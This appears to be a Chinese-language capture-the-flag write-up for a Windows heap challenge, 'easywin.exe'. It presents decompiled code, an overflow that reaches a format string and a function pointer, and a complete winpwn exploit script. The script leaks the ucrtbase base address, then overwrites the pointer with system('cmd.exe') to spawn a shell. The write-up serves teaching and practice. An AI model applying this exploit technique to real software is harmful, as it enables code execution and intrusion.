保护检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Results for: .\easywin.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "Present"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "Present"
RFG : "NotPresent"
SafeSEH : "NotApplicable"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"

程序分析

程序有一个菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stdin; // rax
FILE *v4; // rax
FILE *v5; // rax
char choice; // [rsp+20h] [rbp-18h]

init_(argc, argv, envp);
stdin = _acrt_iob_func(0);
setvbuf(stdin, 0i64, 4, 0i64);
v4 = _acrt_iob_func(1u);
setvbuf(v4, 0i64, 4, 0i64);
v5 = _acrt_iob_func(2u);
setvbuf(v5, 0i64, 4, 0i64);
printf("--------------------------------------\n"
" [DROID ARMY]\n"
" a - add droid\n"
" d - delete droid\n"
" c - change droid's target\n"
" l - attack all the worldz!\n"
"--------------------------------------\n");
do
{
while ( 1 )
{
while ( 1 )
{
printf("Choice? ");
scanf("%c");
getchar();
if ( choice != 'a' )
break;
add();
}
if ( choice != 'c' )
break;
LABEL_8:
change();
}
if ( choice == 'd' )
{
delete();
goto LABEL_8;
}
}
while ( choice != 'l' );
attack();
return 0;
}

add 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int add()
{
__int64 count; // rbx
_QWORD *i; // rax
HANDLE handle; // rax
char *chunk; // rax
char *chunk_; // rdi
FILE *stdin; // rax
__int64 idx; // rax
char is_set; // si
char type[8]; // [rsp+20h] [rbp-38h] BYREF

count = 0i64;
for ( i = planet; *i; i += 4 )
{
if ( !i[1] )
{
count = (unsigned int)(count + 1);
break;
}
if ( !i[2] )
{
count = (unsigned int)(count + 2);
break;
}
if ( !i[3] )
{
count = (unsigned int)(count + 3);
break;
}
count = (unsigned int)(count + 4);
if ( (unsigned int)count >= 0x100 )
return printf("Too many droids already. Army is ready!\n");
}
if ( (unsigned int)count >= 0x100 )
return printf("Too many droids already. Army is ready!\n");
handle = GetProcessHeap();
chunk = (char *)HeapAlloc(handle, 0, 0x208ui64);
chunk_ = chunk;
if ( !chunk )
{
printf("FATAL ERROR\n");
exit(1);
}
memset(chunk, 0, 0x208ui64);
printf("Target planet? ");
stdin = _acrt_iob_func(0);
if ( fgets(chunk_, 0x100, stdin) )
{
idx = -1i64;
do
++idx;
while ( chunk_[idx] );
if ( idx )
{
if ( chunk_[idx - 1] == '\n' )
chunk_[idx - 1] = 0;
}
}
is_set = 0;
do
{
while ( 1 )
{
printf("Type?\n");
printf(" d - Droideka\n b - B1 Battle Droid\n p - Probe Droid\n i - IG-88\n~~~~~~~~~~~~~~~~~~~~~~\n");
scanf("%c", type);
getchar();
if ( type[0] == 'b' )
break;
switch ( type[0] )
{
case 'd':
strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] A Droideka lands on %1$s (%2$d, %3$d).\n");
*((_QWORD *)chunk_ + 0x40) = droideka;
goto LABEL_30;
case 'i':
strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] IG-88 has a bounty of %$2d%$3d$ on planet %$1s.\n");
*((_QWORD *)chunk_ + 0x40) = IG88;
goto LABEL_30;
case 'p':
strcpy_s(
chunk_ + 0x100,
0x100ui64,
"[+] Probe Droid arrived on planet %$1s after %$2d days and %$3d hours...\n");
*((_QWORD *)chunk_ + 0x40) = probedroid;
goto LABEL_30;
}
printf("Invalid type.\n");
is_set = 1;
}
strcpy_s(chunk_ + 0x100, 0x100ui64, "[+] An army of %$3d%$2d B1 Battle Droid arrives on %$1s.\n");
*((_QWORD *)chunk_ + 0x40) = battledroid;
LABEL_30:
;
}
while ( is_set );
planet[count] = chunk_;
return printf("Droid added.\n");
}

delete 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int delete()
{
LPVOID *v0; // rbx
HANDLE v1; // rax
unsigned int id; // [rsp+20h] [rbp-18h] BYREF

printf("ID? ");
scanf("%u", &id);
getchar();
if ( id >= 0x100 || !planet[id] )
return printf("Invalid ID.\n");
v0 = (LPVOID *)&planet[id];
v1 = GetProcessHeap();
if ( !HeapFree(v1, 0, *v0) )
{
printf("FATAL ERROR\n");
exit(1);
}
*v0 = 0i64;
return printf("Droid removed.\n");
}

change 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int change()
{
char *buf; // rbx
FILE *stdin; // rax
__int64 buf_; // rax
unsigned int id; // [rsp+20h] [rbp-18h] BYREF

printf("ID? ");
scanf("%u", &id);
getchar();
if ( id < 0x100 && planet[id] )
{
buf = (char *)planet[id];
printf("New target planet? ");
stdin = _acrt_iob_func(0);
buf_ = (__int64)fgets(buf, 520, stdin);
if ( buf_ )
{
buf_ = -1i64;
do
++buf_;
while ( buf[buf_] );
if ( buf_ && buf[buf_ - 1] == '\n' )
buf[buf_ - 1] = 0;
}
}
else
{
LODWORD(buf_) = printf("Invalid ID.\n");
}
return buf_;
}

attack 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int attack()
{
int result; // eax
unsigned __int64 i; // rsi
__int64 chunk; // rdi
char v3; // r8
_BYTE *chunk_; // rcx
char v5; // r9
char *v6; // rcx
char v7; // dl

printf("Launching attack!\n");
result = SetStdHandle(0xFFFFFFF6, 0i64);
for ( i = 0i64; i < 0x100; ++i )
{
chunk = planet[i];
if ( chunk )
{
v3 = 0;
chunk_ = (_BYTE *)planet[i];
do
{
if ( *chunk_ )
{
if ( (unsigned __int8)(*chunk_ - 33) > 0x5Du )
goto LABEL_18;
}
else
{
v3 = 1;
}
++chunk_;
}
while ( (unsigned __int64)&chunk_[-chunk] < 0x100 );
if ( v3 )
{
v5 = 0;
v6 = (char *)(chunk + 0x100);
do
{
v7 = *v6;
if ( *v6 )
{
if ( (unsigned __int8)(v7 - 32) > 0x5Eu && v7 != 10 )
goto LABEL_18;
}
else
{
v5 = 1;
}
++v6;
}
while ( (unsigned __int64)&v6[0xFFFFFFFFFFFFFF00ui64 - chunk] < 0x100 );
if ( v5 && *(_QWORD *)(chunk + 0x200) )
{
rand();
rand();
printf_((char *)(chunk + 0x100));
result = (*(__int64 (__fastcall **)(__int64))(chunk + 0x200))(chunk);
continue;
}
}
LABEL_18:
result = printf(
"Droid %zu failed the integrity check, cannot be used in the attack. Sending the droid to maintenance...\n",
i);
}
}
return result;
}

可以很明显的发现 attack 处有一个格式化字符串,同时也有一个任意函数调用

1
2
printf_((char *)(chunk + 0x100));
result = (*(__int64 (__fastcall **)(__int64))(chunk + 0x200))(chunk);

那么我们可以通过格式化字符串泄露 ucrtbase.dll 的地址,虽然 attack 后程序会退出,但是 ucrtbase.dll 的基地址都是不变的,所以也是可以泄露的

漏洞利用

首先是泄露信息,在使用格式化字符串漏洞的时候注意要通过 attack 中的 check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

def cmd(idx):
sla("Choice?",str(idx))

def add(data,tp = "d"):
cmd("a")
sla("Target planet?",data)
sla("Type?",tp)

def change(id,data):
cmd("c")
sla("ID?",str(id))
sla("New target planet?",data)

def free():
cmd("d")
sla("ID?",str(id))

def attack():
cmd("l")

r = process("./easywin.exe")

add("Ver")
payload = ""
payload += "a" * 0xff
payload += "\x00"
payload += "%p" * 8
change(0,payload)

#windbgx.attach(r)

attack()
rc(0x64)
ucrtbase_base = int(rc(0x10),16) - 0xf07a8
print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
r.close()

然后下面直接 getshell 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
system_addr = ucrtbase_base + 0xAE5C0

r = process("./easywin.exe")

add("Ver")
payload = ""
payload += "cmd.exe".ljust(0x100, "\x00")
payload += "a" * 0xff
payload += "\x00"
payload += p64(system_addr)
change(0,payload)

attack()

r.interactive()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

def cmd(idx):
sla("Choice?",str(idx))

def add(data,tp = "d"):
cmd("a")
sla("Target planet?",data)
sla("Type?",tp)

def change(id,data):
cmd("c")
sla("ID?",str(id))
sla("New target planet?",data)

def free():
cmd("d")
sla("ID?",str(id))

def attack():
cmd("l")

r = process("./easywin.exe")

add("Ver")
payload = ""
payload += "a" * 0xff
payload += "\x00"
payload += "%p" * 8
change(0,payload)

#windbgx.attach(r)

attack()
rc(0x64)
ucrtbase_base = int(rc(0x10),16) - 0xf07a8
print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
r.close()

system_addr = ucrtbase_base + 0xAE5C0

r = process("./easywin.exe")

add("Ver")
payload = ""
payload += "cmd.exe".ljust(0x100, "\x00")
payload += "a" * 0xff
payload += "\x00"
payload += p64(system_addr)
change(0,payload)

attack()

r.interactive()